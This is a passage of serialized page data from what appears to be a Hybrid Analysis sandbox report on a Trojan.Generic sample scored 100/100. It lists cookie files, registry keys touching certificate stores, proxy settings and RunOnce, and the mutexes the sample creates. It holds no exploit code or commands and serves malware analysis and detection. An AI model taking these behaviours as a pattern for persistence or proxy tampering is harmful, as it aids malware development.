biconproject[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@tap2-cdn.rubiconproject[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@tapad[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@targetix[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\WPAD\\","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\WPAD\\{0C70BB6D-CFA8-4734-A158-28619E142726}\\","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\WPAD\\AC-1F-6B-0D-DB-84\\","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\WPAD\\{0C70BB6D-CFA8-4734-A158-28619E142726}\\AC-1F-6B-0D-DB-84\\","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"}]},{"key":"HKLM\\SYSTEM\\CURRENTCONTROLSET\\SERVICES\\TCPIP\\PARAMETERS\\","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\WBEM\\CIMOM\\","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\TRACING\\","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\TRACING\\SKYPESETUP_RASAPI32\\","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\CONNECTIONS\\","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\NETWORK\\LOCATION AWARENESS\\","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"key":"HKLM\\SYSTEM\\CURRENTCONTROLSET\\CONTROL\\SECURITYPROVIDERS\\SCHANNEL\\","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\\","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\MY\\","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"key":"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"key":"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"key":"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"key":"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"key":"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"key":"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"key":"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"key":"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"key":"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"key":"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"key":"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"key":"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"key":"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"key":"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"key":"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"key":"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\ROOT\\","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\ROOT\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\ROOT\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\ROOT\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\ROOT\\","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\ROOT\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\ROOT\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\ROOT\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\AUTHROOT\\","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\AUTHROOT\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUNONCE\\","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\DEFAULTPACK\\","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\TRACING\\BSVCPROCESSOR_RASAPI32\\","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\TRACING\\BSVCPROCESSOR_RASMANCS\\","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]}],"keys_modified":null,"keys_deleted":[{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\WPAD\\{0C70BB6D-CFA8-4734-A158-28619E142726}\\WPADDETECTEDURL\\WPADDETECTEDURL","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\WPAD\\{0C70BB6D-CFA8-4734-A158-28619E142726}\\AC-1F-6B-0D-DB-84\\","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\WPAD\\AC-1F-6B-0D-DB-84\\WPADDETECTEDURL\\WPADDETECTEDURL","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\PROXYSERVER\\PROXYSERVER","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\PROXYOVERRIDE\\PROXYOVERRIDE","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\AUTOCONFIGURL\\AUTOCONFIGURL","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUNONCE\\WEXTRACT_CLEANUP0\\WEXTRACT_CLEANUP0","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]}]},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"name":"Local\\SkypeSetupMutex","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"name":"Global\\.net clr networking","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"}]},{"name":"RasPbFile","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"name":"_SHuassist.mtx","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\_SHuassist.mtx","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\RasPbFile","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\.net clr networking","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCounterMutex","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZoneAttributeCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"name":"Local\\ZonesCounterMutex","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"name":"Local\\ZoneAttributeCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\!IETld!Mutex","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\c:!users!f4a2ldg!appdata!roaming!microsoft!windows!ietldcache!","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"name":"Global\\_MSIExecute","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"name":"Local\\WininetStartupMutex","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"name":"Local\\c:!users!f4a2ldg!appdata!roaming!microsoft!windows!cookies!","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"name":"Local\\!IETld!Mutex","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"name":"Local\\c:!users!f4a2ldg!appdata!roaming!microsoft!windows!ietldcache!","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"name":"Local\\c:!users!f4a2ldg!appdata!local!microsoft!windows!history!history.ie5!","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"name":"IESQMMUTEX_0_208","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"name":"Local\\WininetProxyRegistryMutex","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"name":"Local\\WininetConnectionMutex","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"name":"Local\\_!MSFTHISTORY!_","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"name":"Local\\c:!users!f4a2ldg!appdata!local!microsoft!windows!temporary internet files!content.ie5!","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\IESQMMUTEX_0_208","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\_MSIExecute","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SkypeSetupMutex","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\c:!users!f4a2ldg!appdata!local!microsoft!windows!temporary internet files!content.ie5!","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\c:!users!f4a2ldg!appdata!roaming!microsoft!windows!cookies!","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\c:!users!f4a2ldg!appdata!local!microsoft!windows!history!history.ie5!","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\WininetStartupMutex","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\WininetConnectionMutex","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\WininetProxyRegistryMutex","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\_!MSFTHISTORY!_","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\WindowsUpdateTracingMutex","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"name":"Global\\WindowsUpdateTracingMutex","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"name":"Global\\{5549DE9B-1BA9-4FAB-B319-440CD62BFAE1}","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\{5549DE9B-1BA9-4FAB-B319-440CD62BFAE1}","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"name":"Global\\{EE7F7170-78C7-403D-BAF9-D8DAB184BA5E}_8xavgypjev_f4a2ldg","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\{EE7F7170-78C7-403D-BAF9-D8DAB184BA5E}_8xavgypjev_f4a2ldg","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"name":"Global\\{B0FDAECF-ED2E-4047-AE1B-929BE3AB2E2B}_8xavgypjev_f4a2ldg","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\{B0FDAECF-ED2E-4047-AE1B-929BE3AB2E2B}_8xavgypjev_f4a2ldg","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\{57201462-142D-4F35-9047-91D0A6225E02}_8xavgypjev_f4a2ldg","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"name":"Global\\{57201462-142D-4F35-9047-91D0A6225E02}_8xavgypjev_f4a2ldg","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\{C20CD437-BA6D-4ebb-B190-70B43DE3B0F3}","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\DBWinMutex","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]}]}},"report_ids":{"sandbox_job_ids":["60a0699814c58a17ef4dc93f","595f84c77ca3e15f067e6e95"]}}}]]}] 1e:null 22:[["$","title","0",{"children":"Malicious Trojan.Generic Sample cbebafb2f4d7… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample cbebafb2f4d7…. Malware family: Trojan.Generic. Threat score 100/100. 21/29 AV engines flagged this file. 13 malicious and 34 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/cbebafb2f4d77967ffb1a74aac09633b5af616046f31dddf899019ba78a55411"}],["$","meta","4",{"property":"og:title","content":"Malicious Trojan.Generic Sample cbebafb2f4d7… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample cbebafb2f4d7…. Malware family: Trojan.Generic. Threat score 100/100. 21/29 AV engines flagged this file. 13 malicious and 34 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/cbebafb2f4d77967ffb1a74aac09633b5af616046f31dddf899019ba78a55411"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Trojan.Generic Sample cbebafb2f4d7… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample cbebafb2f4d7…. Malware family: Trojan.Generic. Threat score 100/100. 21/29 AV engines flagged this file. 13 malicious and 34 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L44","11",{}]]